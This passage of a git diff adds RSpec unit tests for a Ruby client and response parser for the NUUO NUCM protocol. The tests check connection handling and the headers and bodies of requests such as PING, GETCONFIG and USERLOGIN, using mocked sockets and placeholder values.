eq(tcp_connection1) + end + + it 'does not overwrite existing connection' do + tcp_connection0 = double('tcp_connection') + tcp_connection1 = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection1) + + client.connection = tcp_connection0 + client.connect(temp: true) + expect(client.connection).to eq(tcp_connection0) + end + end + + context 'when there is no saved connection' do + it 'returns a new connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + expect(client.connect(temp: true)).to eq(tcp_connection) + end + + it 'does not save the connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + client.connect(temp: true) + expect(client.connection).to be_nil + end + end + end + + end + + describe '#close' do + context 'given there is a connection' do + it 'calls shutdown on the connection' do + tcp_connection = double('tcp_connection') + allow(tcp_connection).to receive(:shutdown) {true} + allow(tcp_connection).to receive(:closed?) {false} + allow(tcp_connection).to receive(:close) {true} + client.connection = tcp_connection + + expect(tcp_connection).to receive(:shutdown) + client.close + end + + it 'calls closed on the connection' do + tcp_connection = double('tcp_connection') + allow(tcp_connection).to receive(:shutdown) {true} + allow(tcp_connection).to receive(:closed?) {false} + allow(tcp_connection).to receive(:close) {true} + client.connection = tcp_connection + + expect(tcp_connection).to receive(:close) + client.close + end + end + end + + describe '#send_recv' do + context 'given no connection is passed in' do + it 'calls send_request without connection' do + allow(client).to receive(:send_request) do |*args| + expect(args[1]).to be_nil + end + allow(client).to receive(:read_response) + + client.send_recv('test') + end + + it 'calls read_resposne without connection' do + allow(client).to receive(:read_response) do |*args| + expect(args[0]).to be_nil + end + allow(client).to receive(:send_request) + + client.send_recv('test') + end + end + + context 'given a connection is passed in' do + it 'uses the passed in connection' do + tcp_connection = double('tcp_connection') + passed_connection = double('passed_connection') + client.connection = tcp_connection + + allow(passed_connection).to receive(:put) + allow(client).to receive(:read_response) + + expect(passed_connection).to receive(:put) + client.send_recv('test', passed_connection) + end + end + end + + describe '#read_response' do + let(:res) {"NUCM/1.0 200\r\nTest:test\r\nContent-Length:1\r\n\r\na"} + it 'returns a Response object' do + tcp_connection = double('tcp_connection') + allow(tcp_connection).to receive('closed?') {false} + allow(tcp_connection).to receive('get_once') {res} + client.connection = tcp_connection + + expect(client.read_response).to be_a_kind_of(Rex::Proto::Nuuo::Response) + end + end + + describe '#request_ping' do + subject(:ping_request) { + opts = {'user_session' => user_session} + client.request_ping(opts) + } + let(:user_session) {nil} + + it 'returns a PING client request' do + expect(ping_request.to_s).to start_with('PING') + end + + context 'given a user_session option' do + let(:user_session) {'test'} + + context 'when the client does not have a session' do + it 'uses the user_session option' do + expect(ping_request.to_s).to match('User-Session-No: test') + end + end + + context 'when the client has a session' do + let(:client_user_session) {'client'} + + it 'overrides the client session value' do + expect(ping_request.to_s).to match('User-Session-No: test') + end + end + end + + + context 'given no user_session is provided' do + context 'when the client does not have a session' do + it 'does not have a User-Session-No header' do + expect(ping_request.to_s).to_not match('User-Session-No:') + end + end + + context 'when the client has a session' do + let(:client_user_session) {'client'} + + it 'uses the client session' do + expect(ping_request.to_s).to match('User-Session-No: client') + end + end + end + + end + + describe '#request_sendlicfile' do + subject(:sendlicfile_request) { + opts = { + 'file_name' => filename, + 'data' => data + } + client.request_sendlicfile(opts).to_s + } + let(:filename) {'TestFile'} + let(:data) {'testdata'} + + it 'returns a SENDLICFILE client request' do + expect(sendlicfile_request).to start_with('SENDLICFILE') + end + + context 'given file_name' do + it 'sets the FileName header with the value' do + expect(sendlicfile_request).to match("[^\r\n]\r\nFileName: TestFile\r\n") + end + end + + context 'given no file_name' do + let(:filename) {nil} + + it 'creates an empty FileName header' do + expect(sendlicfile_request).to match("[^\r\n]\r\nFileName: \r\n") + end + end + + context 'given data' do + it 'sets the body to the data contents' do + expect(sendlicfile_request).to end_with("\r\n\r\ntestdata") + end + + it 'sets the Content-Length header with data length' do + expect(sendlicfile_request).to match("[^\r\n]\r\nContent-Length: 8\r\n") + end + end + + context 'given no data' do + let(:data) {nil} + it 'creates an empty body' do + expect(sendlicfile_request).to end_with("\r\n\r\n") + end + + it 'set Content-Length header to 0' do + expect(sendlicfile_request).to match("[^\r\n]\r\nContent-Length: 0\r\n") + end + end + end + + describe '#request_getconfig' do + subject(:getconfig_request) { + opts = { + 'file_name' => filename, + 'file_type' => filetype + } + client.request_getconfig(opts).to_s + } + let(:filename) {'TestName'} + let(:filetype) {2} + + it 'returns a GETCONFIG client request' do + expect(getconfig_request).to start_with('GETCONFIG') + end + + context 'given file_name' do + it 'sets the FileName header' do + expect(getconfig_request).to match("[^\r\n]\r\nFileName: TestName\r\n") + end + end + + context 'given no file_name' do + let(:filename) {nil} + it 'creates an empty FileName header' do + expect(getconfig_request).to match("[^\r\n]\r\nFileName: \r\n") + end + end + + context 'given a file_type' do + it 'sets the FileType header' do + expect(getconfig_request).to match("[^\r\n]\r\nFileType: 2\r\n") + end + end + + context 'given no file_type' do + let(:filetype) {nil} + it 'defaults to 1' do + expect(getconfig_request).to match("[^\r\n]\r\nFileType: 1\r\n") + end + end + end + + describe '#request_commitconfig' do + subject(:commitconfig_request) { + opts = { + 'file_name' => filename, + 'file_type' => filetype, + 'data' => data + } + client.request_commitconfig(opts).to_s + } + let(:filename) {'TestName'} + let(:filetype) {2} + let(:data) {'testdata'} + + it 'returns a COMMITCONFIG client request' do + expect(commitconfig_request).to start_with('COMMITCONFIG') + end + + context 'given file_name' do + it 'sets the FileName header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileName: TestName\r\n") + end + end + + context 'given no file_name' do + let(:filename) {nil} + + it 'creates an empty FileName header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileName: \r\n") + end + end + + context 'given file_type' do + it 'sets the FileType header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileType: 2\r\n") + end + end + + context 'given no file_type' do + let(:filetype) {nil} + + it 'creates an empty FileType header' do + expect(commitconfig_request).to match("[^\r\n]\r\nFileType: 1\r\n") + end + end + + context 'given data' do + it 'sets the request body to the data' do + expect(commitconfig_request).to end_with("\r\n\r\ntestdata") + end + + it 'sets Content-Length to data length' do + expect(commitconfig_request).to match("[^\r\n]\r\nContent-Length: 8\r\n") + end + end + + context 'given no data' do + let(:data) {nil} + + it 'creates an empty request body' do + expect(commitconfig_request).to end_with("\r\n\r\n") + end + + it 'creates Content-Length header with 0' do + expect(commitconfig_request).to match("[^\r\n]\r\nContent-Length: 0\r\n") + end + end + end + + describe '#request_userlogin' do + subject(:userlogin_request) { + opts = { + 'server_version' => server_version, + 'username' => username, + 'password' => password + } + client.request_userlogin(opts).to_s + } + let(:server_version) {'1.1.1'} + let(:username) {'user'} + let(:password) {'pass'} + + it 'returns a USERLOGIN client request' do + expect(userlogin_request).to start_with('USERLOGIN') + end + + context 'given server_version' do + it 'sets Version header with value' do + expect(userlogin_request).to match("[^\r\n]\r\nVersion: 1.1.1\r\n") + end + end + + context 'given no server_version' do + let(:server_version) {nil} + + it 'creates an empty Version header' do + expect(userlogin_request).to match("[^\r\n]\r\nVersion: \r\n") + end + end + + context 'when client has username' do + let(:client_username) {'client_user'} + + context 'given username' do + it 'sets the Username header with opts username' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: user\r\n") + end + end + + context 'given no username' do + let(:username) {nil} + + it 'creates an Username header with client username' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: client_user\r\n") + end + end + end + + context 'when client has no username' do + context 'given username' do + it 'sets the Username header with value' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: user\r\n") + end + end + + context 'given no username' do + let(:username) {nil} + + it 'creates an empty Username header' do + expect(userlogin_request).to match("[^\r\n]\r\nUsername: \r\n") + end + end + end + + context 'when client has password' do + let(:client_password) {'client_pass'} + + context 'given password' do + it 'sets body with password' do + expect(userlogin_request).to end_with("\r\n\r\npass") + end + + it 'sets Password-Length header' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 4\r\n") + end + end + + context 'given no password' do + let(:password) {nil} + + it 'sets body to client password' do + expect(userlogin_request).to end_with("\r\n\r\nclient_pass") + end + + it 'creates Password-Length with client password length' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 11\r\n") + end + end + end + + context 'when client has no password' do + context 'given password' do + it 'sets body with password' do + expect(userlogin_request).to end_with("\r\n\r\npass") + end + + it 'sets Password-Length header' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 4\r\n") + end + end + + context 'given no password' do + let(:password) {nil} + + it 'sets empty body' do + expect(userlogin_request).to end_with("\r\n\r\n") + end + + it 'creates Password-Length with 0' do + expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 0\r\n") + end + end + end + + end + + describe '#request_getopenalarm' do + subject(:getopenalarm_request) { + opts = { + 'device_id' => device_id, + 'source_server' => source_server, + 'last_one' => last_one + } + client.request_getopenalarm(opts).to_s + } + let(:device_id) {nil} + let(:source_server) {nil} + let(:last_one) {nil} + + it 'returns a GETOPENALARM client request' do + expect(getopenalarm_request).to start_with('GETOPENALARM') + end + + context 'given device_id' do + let(:device_id) {2} + + it 'sets DeviceID header with value' do + expect(getopenalarm_request).to match("[^\r\n]\r\nDeviceID: 2\r\n") + end + end + + context 'given no device_id' do + it 'sets DeviceID header to 1' do + expect(getopenalarm_request).to match("[^\r\n]\r\nDeviceID: 1\r\n") + end + end + + context 'given source_server' do + let(:source_server) {2} + + it 'sets SourceServer header with value' do + expect(getopenalarm_request).to match("[^\r\n]\r\nSourceServer: 2\r\n") + end + end + + context 'given no source_server' do + it 'set SourceServer header to 1' do + expect(getopenalarm_request).to match("[^\r\n]\r\nSourceServer: 1\r\n") + end + end + + context 'given last_one' do + let(:last_one) {2} + + it 'sets LastOne header with value' do + expect(getopenalarm_request).to match("[^\r\n]\r\nLastOne: 2\r\n") + end + end + + context 'given no last_one' do + it 'sets LastOne to 1' do + expect(getopenalarm_request).to match("[^\r\n]\r\nLastOne: 1\r\n") + end + end + end +end diff --git a/spec/lib/rex/proto/nuuo/response_spec.rb b/spec/lib/rex/proto/nuuo/response_spec.rb new file mode 100644 index 0000000000..9f93563e73 --- /dev/null +++ b/spec/lib/rex/proto/nuuo/response_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'rex/proto/nuuo/response' + +RSpec.describe Rex::Proto::Nuuo::Response do + subject(:response) {described_class.new} + let(:header) {'Header'} + let(:hvalue) {'Value'} + let(:body) {'test'} + let(:data) {"NUCM/1.0 200\r\n#{header}:#{hvalue}\r\nContent-Length:4\r\n\r\n#{body}"} + + describe '#parse' do + it 'returns a ParseCode' do + expect(response.parse(data)).to eq(Rex::Proto::Nuuo::Response::ParseCode::Completed) + end + + it 'sets the headers' do + response.parse(data) + expect(response.headers[header]).to eq(hvalue) + end + + it 'sets the body' do + response.parse(data) + expect(response.body).to eq(body) + end + end +end